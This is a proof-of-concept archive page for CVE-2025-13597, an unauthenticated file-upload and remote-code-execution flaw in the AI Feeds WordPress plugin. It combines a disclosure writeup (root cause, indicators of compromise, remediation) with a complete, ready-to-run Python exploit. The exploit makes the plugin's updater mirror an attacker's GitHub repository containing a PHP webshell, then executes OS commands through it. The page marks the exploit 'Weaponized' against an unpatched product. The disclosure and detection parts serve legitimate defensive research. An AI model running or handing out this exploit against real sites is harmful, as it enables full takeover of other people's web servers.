PoC Archive PoC Archive
Critical CVE-2025-13597 unpatched

AI Feeds `actualizador_git.php` Unauthenticated Arbitrary File Upload / RCE (CVE-2025-13597)

by Ryan Kozak (d0n601) · 2026-07-06

CVSS 9.8/10
Severity
Critical
CVE
CVE-2025-13597
Category
web
Affected product
AI Feeds (WordPress plugin)
Affected versions
<= 1.0.11
Disclosed
2026-07-06
Patch status
unpatched

Metadata

FieldValue
Date Added2026-07-06
Last Updated2026-07-06
Author / ResearcherRyan Kozak (d0n601)
CVE / AdvisoryCVE-2025-13597
Categoryweb
SeverityCritical
CVSS Score9.8 (per NVD)
StatusWeaponized
Tagswordpress, ai-feeds, unauthenticated-file-upload, github-mirror-abuse, webshell, python, cwe-434, cwe-306
RelatedCVE-2025-13595

Affected Target

FieldValue
Software / SystemAI Feeds (WordPress plugin)
Versions Affected<= 1.0.11
Language / PlatformPython 3 exploit targeting a PHP/WordPress plugin
Authentication RequiredNo
Network Access RequiredYes

Summary

AI Feeds ships the same vulnerable actualizador_git.php “GitHub mirror updater” helper found in the vendor’s other plugin, Cibeles AI (CVE-2025-13595) — it is directly reachable over HTTP (no ABSPATH guard, no authentication) and blindly downloads and mirrors a GitHub repository into its own plugin directory based on attacker-controlled owner/repo/ref/token query parameters, deleting any local files not present in the attacker’s repo. An unauthenticated attacker can point the endpoint at their own GitHub repo containing a PHP webshell to have it planted and made instantly executable inside wp-content/plugins/ai-feeds/.


Vulnerability Details

Root Cause

Identical logic to CVE-2025-13595, duplicated in the ai-feeds plugin’s copy of actualizador_git.php:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
$OWNER = $_GET['owner'] ?? 'cibeles';
$REPO  = $_GET['repo']  ?? 'svn_ai-feeds';
$REF   = $_GET['ref']   ?? 'main';
$TOKEN = $_GET['token'] ?? 'PON_AQUI_TU_TOKEN_PAT';

if ($TOKEN === '' || $TOKEN === 'PON_AQUI_TU_TOKEN_PAT') {
    http_response_code(400);
    exit("Falta token\n");
}

$apiUrl = "https://api.github.com/repos/{$OWNER}/{$REPO}/zipball/" . rawurlencode($REF);
curl_download($apiUrl, $zip, $TOKEN);

The only validation is that a non-default GitHub token is supplied — any valid PAT works, including the attacker’s own, because $OWNER/$REPO are never restricted to the vendor’s actual repository. The zipball is extracted and mirrored directly on top of the live plugin directory:

1
2
3
4
5
$zipArc->extractTo($extractDir);
$rootInsideZip = $extractDir . DIRECTORY_SEPARATOR . $entries[0];
rrcopy_into($rootInsideZip, $cwd, $PRESERVE);
...
mirror_delete_extras($cwd, $keepSet, $PRESERVE);

rrcopy_into() copies every file from the attacker’s repo into the plugin directory, and mirror_delete_extras() prunes anything not in the manifest — giving the attacker full control over the plugin’s PHP files.

Attack Vector

  1. Attacker creates a public GitHub repo (e.g. minimal-rce) containing a PHP webshell (e.g. shell.php).
  2. Attacker sends GET /wp-content/plugins/ai-feeds/actualizador_git.php?owner=<owner>&repo=<repo>&ref=main&token=<any_valid_PAT> to the target.
  3. The plugin mirrors the attacker’s repository into wp-content/plugins/ai-feeds/, planting shell.php.
  4. Attacker requests /wp-content/plugins/ai-feeds/shell.php?cmd=<command> to execute arbitrary OS commands.

Impact

Unauthenticated arbitrary file write leading directly to remote code execution as the web server user, and full compromise of the WordPress installation.


Environment / Lab Setup

Target: WordPress install with AI Feeds plugin <= 1.0.11 active
Attacker: Python 3, `pip install requests`
Attacker-controlled GitHub repo (e.g. d0n601/minimal-rce) containing shell.php,
and a valid GitHub Personal Access Token (github_pat_...)

Proof of Concept

PoC Script

See CVE-2025-13597.py in this folder.

1
2
3
4
python3 CVE-2025-13597.py -t http://TARGET -o your_github_username -r minimal-rce \
  -k github_pat_YOURKEYHERE -c whoami

#

Detection & Indicators of Compromise

GET /wp-content/plugins/ai-feeds/actualizador_git.php?owner=...&repo=...&ref=...&token=... HTTP/1.1
GET /wp-content/plugins/ai-feeds/shell.php?cmd=... HTTP/1.1

Signs of compromise:

  • Any external request to actualizador_git.php with non-default owner/repo parameters
  • Recently modified/created PHP files inside wp-content/plugins/ai-feeds/ that don’t match the official plugin release
  • Presence of shell.php or any unexpected single-file PHP scripts under the plugin directory
  • Outbound HTTPS connections from the web server to api.github.com correlated with plugin file changes

Remediation

ActionDetail
Primary fixUpdate AI Feeds to a version that removes or properly authenticates actualizador_git.php (add ABSPATH check, restrict to admin-authenticated + capability-checked requests, and pin the mirrored repository)
Interim mitigationDelete or block direct HTTP access to actualizador_git.php via web server rules; monitor plugin directory file integrity; restrict outbound connections from the web server to api.github.com

References


Notes

Mirrored from https://github.com/d0n601/CVE-2025-13597 on 2026-07-06. Same vulnerable actualizador_git.php component and vendor as CVE-2025-13595 (Cibeles AI), reused verbatim in the AI Feeds plugin; working exploit script plus a detailed technical README.

CVE-2025-13597.py
 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
# Exploit Title: AI Feeds <= 1.0.11 - Unauthenticated Arbitrary File Upload
# Date: 11/22/2025
# Exploit Author: Ryan Kozak
# Vendor Homepage: https://ai.cibeles.net/
# Version: <= 1.0.11
# CVE : CVE-2025-13597

import argparse
import requests


def exploit(target, owner, repo, token, command):
    print("[*] Exploiting actualizador_git.php vulnerability...")
    print(f"[*] Downloading and installing shell from GitHub repository: {owner}/{repo}")
    
    exploit_url = f"{target}/wp-content/plugins/ai-feeds/actualizador_git.php"
    params = {
        'owner': owner,
        'repo': repo,
        'ref': 'main',
        'token': token
    }
    
    response = requests.get(exploit_url, params=params, timeout=30)
    print(response.text.strip())
    
    print("\n[*] Exploit executed. Checking if shell.php was created...\n")
    
    print("[*] Testing shell access...")
    shell_url = f"{target}/wp-content/plugins/ai-feeds/shell.php"
    shell_params = {'cmd': command}
    
    response = requests.get(shell_url, params=shell_params, timeout=10)
    print(response.text.strip())
    
    print("\n")
    print("[*] Shell should be accessible at:")
    print(f"    {target}/wp-content/plugins/ai-feeds/shell.php?cmd=COMMAND")


def main():
    parser = argparse.ArgumentParser()
    parser.add_argument('-t', '--target', required=True, help='Target URL')
    parser.add_argument('-o', '--owner', required=True, help='GitHub repository owner')
    parser.add_argument('-r', '--repo', required=True, help='GitHub repository name')
    parser.add_argument('-k', '--token', required=True, help='GitHub Personal Access Token')
    parser.add_argument('-c', '--command', default='whoami', help='Command to execute (default: whoami)')
    
    args = parser.parse_args()
    
    exploit(args.target, args.owner, args.repo, args.token, args.command)


if __name__ == '__main__':
    main()